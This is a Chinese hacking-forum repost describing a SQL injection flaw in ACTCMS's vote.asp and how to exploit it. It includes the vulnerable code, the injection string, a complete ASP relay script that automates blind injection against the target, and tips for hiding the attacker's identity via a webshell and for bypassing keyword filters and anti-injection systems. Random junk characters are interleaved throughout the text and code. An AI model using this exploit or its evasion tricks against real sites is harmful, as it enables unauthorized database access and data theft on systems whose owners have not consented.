中国网络渗透测试联盟

标题: 注入中转的高级应用,actcms漏洞以及其他 [打印本页]

作者: admin    时间: 2012-11-6 21:13
标题: 注入中转的高级应用,actcms漏洞以及其他

# F. ]9 a8 |- l% t/ {看到ninty大牛的blog的一篇文章0 u" L+ W" g( G  S% e
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
1 f0 P0 q( j, j8 e" b2 ~关于actcms漏洞的利用  by 3x qq:381862589. i" g; U' Z3 }( D( B
转载请注明以上
6 v9 ?% w4 b2 p, m漏洞文件:* q' A- C, B4 u3 `4 ?/ @
/plus/vote/vote.asp
  p) g0 }9 y& {0 E- x代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
2 d& l" Y/ j! {
6 n8 o- k! e* [2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
0 s9 P+ r5 K# x) \: ^7 \
) p) K$ D) e$ T3 J8 z3    response.end    / ]; `0 B* U* G7 E7 m* n: V
$ O& n9 C# w6 Y3 o
4    end if    5 `0 d# \# }0 \3 `" ?

1 M1 b$ `0 v" t% W" S5    for i=1 to request("voted").count   
1 r( g0 R  A- E
1 b0 V1 S2 L- O$ D" M& v& b0 ~6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
, @4 w2 `2 \- Y! L& B0 P0 l: g# J4 F
7    next    5 I& l# E$ M% ^7 Y6 n; ^0 j

  W: t) E! ^5 j8....   
- P1 d( w- ^9 |1 G, ^1 U5 T. f# O& b! S! @* b5 B
9response.Redirect "index.asp?id="&id&""   ' \6 x% ?4 i7 N
投票结束回跳转回index.asp这个投票结果页面
& h0 b7 t2 [4 P' N4 l3 {如果投票成功票数加1
0 L( n" \, w2 V            失败票数不变
& D! R/ G8 g3 _  d0 q如图:
' _2 o$ [0 k9 m) \/ {" Khttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)( M3 i; ^$ z1 p
% F4 L: l( i! U6 X
2009-12-27 13:20+ k1 M, R: F5 N1 p" `2 Y

7 U0 H( W) w, e- G3 ?利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
6 T, ^! t4 s+ B2 C" k9 ?2 ]0 o
- T  z$ J& A, L本帖隐藏的内容需要回复才可以浏览1 X/ H. A1 v4 L7 S  W
我们用注入中转来实现这个注入具体代码如下:" U% V! v5 d$ w/ ?4 p2 I) }
先用寂寞的刺猬大牛的注入中转生成jmget.asp. w) Q: _- z  d, s
注入地址:http://localhost/actcms/plus/vote/vote.asp6 S& H7 Z. N+ k" {3 V* V& h
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项) E" N, w, X: Y  u& c# l# B# F
) e) n0 x0 n) [% h. X
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% 3 }) L$ A' S' E
  j  @+ ?. a# m+ n3 w$ G' s- t
02JmdcwName=request("jmdcw") 3 l1 c) _' N; c) r7 ]& s

: h+ S$ r5 h8 N0 z03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 4 {0 X( b8 c3 V
0 ?: r6 o5 {% q3 _3 Q
04JmStr="id=1&voted=-1 or 1="&JmdcwName 9 Q7 a& X! s' v* }5 w

* o1 [3 _# k( Y05JmStr=URLEncoding(JmStr)
% K5 U' L3 w8 F) M) [3 y
$ T* @- Q. _" u8 g06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
" b( X$ [% N1 i0 S9 Q# q
; w  M8 k& {5 G2 `6 b; L$ y/ J07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"2 u8 R% p6 ?3 }, Y' l! d
1 ~; Z/ V8 w) ]  }0 s
08testurl=testurl & "?" & JmStr
% g. y* o9 T# J& i4 q. N( x) J) Q' G7 B) E
09JMUrl=JMUrl & "?" & JmStr
9 d$ x8 y4 f6 l" U- J- g9 t2 P+ G4 N/ {0 L3 o* x4 o
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
9 G" y+ M, J6 z2 h/ k: w
3 i& c5 @* n/ e11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
6 v/ c/ }* z5 @7 m6 S
3 g9 X0 p7 ~8 {; T12JmCok=replace(JmCok,chr(32),"%20")  ) ~1 m/ M0 J: ]8 n4 Q$ g! U1 E

% `! i: l) K7 r% f13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
' D+ X: Y- g5 J. b$ J  S) {& U/ O' j: U% X) M# }1 ~
14  0 T' K8 t  W" f% l. x# r
. d$ v8 b$ q* V( ]- ^
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 8 E# G" B. f: t4 \7 m5 ^
& f0 ^/ z  T2 A9 L
16  3 B( C6 D! Q2 w2 F. i7 R1 v

# T8 E2 o! Y# O" q& J17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
4 |; B; }  G( l' s& d
8 U6 q' e. v3 k0 y18response.write test1&""&test2&""
3 z% \4 f9 Z4 f# ~% {
* w4 j$ U5 j9 H3 |" N4 P0 d% q19  
8 y8 f5 h' q7 h3 S7 }0 G5 |
' O! B: W" |' j$ Q$ K! \9 ~20if test1=test2 then '如前后记录相等,表示失败
, O9 r, Q- F% J3 r: n
0 T, c& X5 n+ [% H21  response.write "failed"
8 O. N1 n3 J4 j& F/ X* \
; V/ M" r& o$ k$ A+ h- X22else
* L3 I4 G) W! q# g( P5 E: U4 s) _6 t* k" B5 {1 N! J+ q
23  response.write "succeed"
' j9 I, p$ \* R/ M9 [3 U  r3 \) C; Z: k- w7 O) {7 i
24end if  
1 g+ L5 ?) ?6 i1 T6 x/ ~$ G* A8 r$ a0 ~5 s/ T; ^/ b( ^
25  ( E" s8 g1 J6 v2 S9 A  P

  X4 V1 ^8 W  I9 \0 h26response.write "by 3x"
. Q+ h# j) H1 c# U3 t2 i2 g+ q: ?. g, T
27  4 A0 w- h7 a: ^4 e
' K" p; O% v3 g
28  0 {+ U& ~8 d. m4 w6 t

6 p# I0 s! l3 A# T' |$ Q- i6 z$ `% L* [29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
4 h- l* t1 L# U) X# r; Y/ i0 y# R' ?4 m, H1 }3 D8 c$ C8 K
30Dim Http
+ I$ J' a! i( e" ?# A' n9 ]
+ w: h6 [7 w0 e! U% W, _" @31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 8 x9 Q7 Z  W, I( c

" N8 E0 p9 a3 \* \5 h0 J32With Http
: \' F& g3 O1 p# _8 B% X+ Y
1 n- u. s; ^* Z- t33  
% l# O& ^" G/ I& \1 R5 e& m2 X) O* ^0 X9 r& \4 x
34.Open "GET",PostUrl,False
! E: ^$ l( O; G- O& o2 {. n& ~  e$ _4 I5 b) F; ^0 D
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
: W- I) i" H( P8 m: v4 A9 o9 T9 `: L8 R/ G( y: z- q% o5 f
36.SetRequestHeader "Referer",PostRef
! Z) Q: \1 q/ P# Z8 U
; N- I" b; Q# g5 w37.SetRequestHeader "Cookie",PostCok ( z2 z5 X" X' @' ]4 I0 S6 M! f2 x
& T1 S, ?% W( i+ G# @: p# P, _$ _
38.Send ()
5 j. e  t* M0 y. [: u! C, w( M3 o0 F- z) A0 [( g
39PostData = .ResponseBody
3 m; n8 b/ m! D0 A7 s
3 r! k- h* P* s2 k0 N40End With
. I* [/ ]  Z3 m0 Z* Z
: ]* A5 i6 I. l3 i  S41Set Http = Nothing
2 q7 S- }! r2 P$ L- v9 m
' Q0 K, P  s+ i  p+ J2 J# W" \42PostData =bytes2BSTR(PostData) ; S- O0 Y6 i3 z! z' }3 l

8 m+ I2 P6 k6 ], L43End Function
2 E8 `3 U. K# D3 s
: P9 U9 R* ?) [8 B: I0 ^- P44  
  y" `  K8 {: U# a! V  h- R$ z6 U5 u* \" ?7 p( s- j
45  9 C; c. U5 |, o4 P- G( h. K; t$ K
) Q+ W" A, |% H9 [2 t4 l: L
46Function bytes2BSTR(vIn) # Z& C1 {& ~$ R# G. S

1 \. i* L/ P6 M; m# {47Dim strReturn % T8 a8 a  t) x, @. D. \- C

2 o' q2 _- P: {! @- R  x- l  z48Dim I, ThisCharCode, NextCharCode
. t' C% l: P! i: [8 f) j: s! J. Y/ U' r6 ^2 X5 W; f3 I
49strReturn = ""
# k3 w+ D2 O- m' G) I" n, p, b
( u- W( s! ?- M$ o- b50For I = 1 To LenB(vIn) 5 o5 g2 O2 c0 A5 i& Y. J7 K

2 i4 X! P+ {3 c8 H* Q51ThisCharCode = AscB(MidB(vIn, I, 1)) ) e( S0 j, ?1 q! `

2 A1 x) D7 @9 m1 ^' [" C52If ThisCharCode < &H80 Then: t; k  P3 J: R& i

0 Y4 `" n! H7 W- x  }/ u% b( j* ?. m% w53strReturn = strReturn & Chr(ThisCharCode)
# ~" `- V- _* r" T9 }. g$ t" r" l! N* a" v: Z
54Else! B+ T2 ~0 M7 R: V7 Q: x) h

* P- l2 T$ M0 _: f. \55NextCharCode = AscB(MidB(vIn, I + 1, 1)) , R2 e) i, |- m; w. N# R

! y3 D+ P, m- c8 [' ~& }- d" ]# S4 `56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) ' d1 E$ D. S/ h" Y' y
7 B/ L+ z* v3 ]/ B' A9 e
57I = I + 1 8 X: |) q8 q% w$ W' A5 b9 s9 Y
; r, a$ }6 T( a5 I9 K; {. ]
58End If
+ ]2 L% l2 S3 d# S* P6 |- W3 r1 y, O) S7 u4 _; m' x1 ^" j
59Next
2 y  H6 ^" @/ E' k# w8 ^. h5 \
* l4 X$ n! e" Y4 d  b7 F60bytes2BSTR = strReturn
* X! G/ J/ z) l2 }" z& J: i
& y( q* U- q0 V1 }61End Function; m. ~; z2 \7 o% X6 {; s
2 F: L0 {7 N* O& E
62  0 q& C* c. \* }
2 A+ M8 z) ^$ P1 f3 z! C* ^- a3 E) M
63Function URLEncoding(vstrin)  ! A+ Z4 V8 g4 Y3 x

. s2 X) Q. ]8 v. @2 I64strReturn=""6 N& I1 g  l( q  |7 U1 W% O

/ D: v0 i0 r$ _65Dim i * ?# g8 @& D' M# U1 x
6 M0 H' v: }; W2 }
66For i=1 To Len(vstrin)
) T% {" q2 D$ Z8 T: w% L+ T$ Z+ J, ?( y& x5 T' v3 }. h. W
67ThisChr=Mid(vstrin,i,1)
8 B0 a0 G8 \" ]' h% w* c
8 ~8 j/ `/ y) E: a68if Abs(Asc(ThisChr))< &HFF Then3 c# T( J# L$ g# q  }* ^! f+ S( J

# X) e, s9 D0 F1 v8 R69strReturn=strReturn & ThisChr
: ~3 r; p/ R- f. O; H
& O& G- D1 T' U70Else
0 y/ k6 y0 b2 o% M- Q& y6 _8 B9 x$ q, p; ]; f# _2 G
71InnerCode=Asc(ThisChr) : f" X: M6 E" u
8 l. b. v4 N3 q9 }2 w) s+ L! a
72If InnerCode<0 Then
9 L) d5 y% y+ A! E2 s+ M0 l" J' V6 V
73InnerCode=InnerCode + &H10000 , `. ?1 V& |& Z7 n. d6 ?+ c) h. S7 m

/ N3 ]# l: O/ t/ A/ }/ p7 X( |8 l) n74End If
  R0 J! q7 w  |
0 p0 Y$ s8 O' c2 T& H75Hight1=(InnerCode And &HFF00) \&HFF   N0 o: y% g$ T( [6 z& T5 |

" P3 x6 Q* T: X9 x! z5 p. {/ n* z) w76Low1=InnerCode And &HFF 3 y7 T8 j4 ~4 e% K8 s" z) v* a# t

* h. @- L0 ?9 s* b5 d77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 1 E6 Z1 t/ u/ ?6 B8 I

7 ]6 H: O* ]/ w5 R78End if
! L5 t5 ~5 z% x# n2 U2 ]
/ c$ q1 G" N* e; z79Next
" V4 O1 |; z9 P4 p3 Q$ n( g) Y
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 ) U2 w$ o4 ]0 @/ V  u

; p. n) `, z1 |& Y81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 1 t6 B5 M& ^2 c* j, P  F( p
0 V0 S' A$ G2 I! |% e) e) |  {, n
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
6 c, x1 E* [$ L1 v# A, \# r' _& g& ^
83URLEncoding=strReturn
) ]' e6 c: F" G7 k4 B; P3 h/ G- J$ E
0 \( A0 f% F; r5 `9 ?0 H84End Function
: z  r6 B, t8 D; U# \5 g* B7 ]7 Y. H+ M, {# _
85  ! d( F" B- ?/ }  n; q

6 _- f9 x# O$ i/ Y86function getSt(body)
8 T0 O5 h4 _8 _. f: H& s' F1 o, x
1 t: W/ f4 A4 _87  startpot=instr(body,"投票人数:")+len("投票人数:") - g& w: x& O! T* C# V
6 O+ b: f7 G. }) P' u
88  endpot=instr(startpot,body," ") , E: ?& y& ~& K! \
3 |; F4 B5 N* v+ D/ g& K! e2 g
89  getSt=mid(body,startpot,endpot-startpot) * }7 {% l4 o7 n0 {0 [

) x. S1 j) z8 Q/ I7 D! v90end function
3 m- J5 t$ X8 W1 M3 k, ?
2 `. T% {" _. ?6 D  n% D91%>
* I3 x& }# C: E& G* b2 H3 r( t' l注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了$ l. U( a6 A& [! ?7 ]: j
测试下效果:
) S) B; H# j$ F* A5 m3 F投票成功:
1 p/ G9 m+ v6 ?5 R$ rhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
, K& n+ ^) }2 A/ C
% p0 o4 j) n9 y& ]6 {9 P5 B2009-12-27 13:296 y9 e1 ~1 _" }" u( f/ {
投票失败
! ]( a4 P' g4 {& ~9 Xhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)( }" T( u$ E2 u3 Q$ V3 Z9 N

. U& r+ z( O# k! z: |  _/ R2009-12-27 13:29, D+ c, z' w  w
-------------------------------------------------------------------------------
+ x/ U$ a/ I5 @! X8 n! }再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以& ~: y6 S' @7 ]2 b! l" O
很抱歉。。。只能用单线程工具去注入。。。。。+ Q5 N5 S& w7 N$ q7 a
所以失败。。。不好意思。。。7 h, c5 s! J2 J. `3 V) U0 f+ E2 [
-------------------------------------------------------------------------------
1 c' D) L: M( _8 `
8 q) S+ D  b! o6 @" I7 X- r; ~注入中转的一些其他应用! |) b- v. o# A, A3 n$ p
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了3 s. C2 ~5 M6 C+ M3 G2 A* t
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
. B; n5 E1 @) w+ s# h9 N$ g1 I( @2.post注入转成get型的注入,方便我们使用工具来跑
: v0 C8 y2 e5 u- E/ b- K% V+ I3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
# t; Y3 M2 A: E4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过3 h, k. T4 O; M. {1 C- H7 P
& V( ]3 y3 ]5 V, P9 {





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2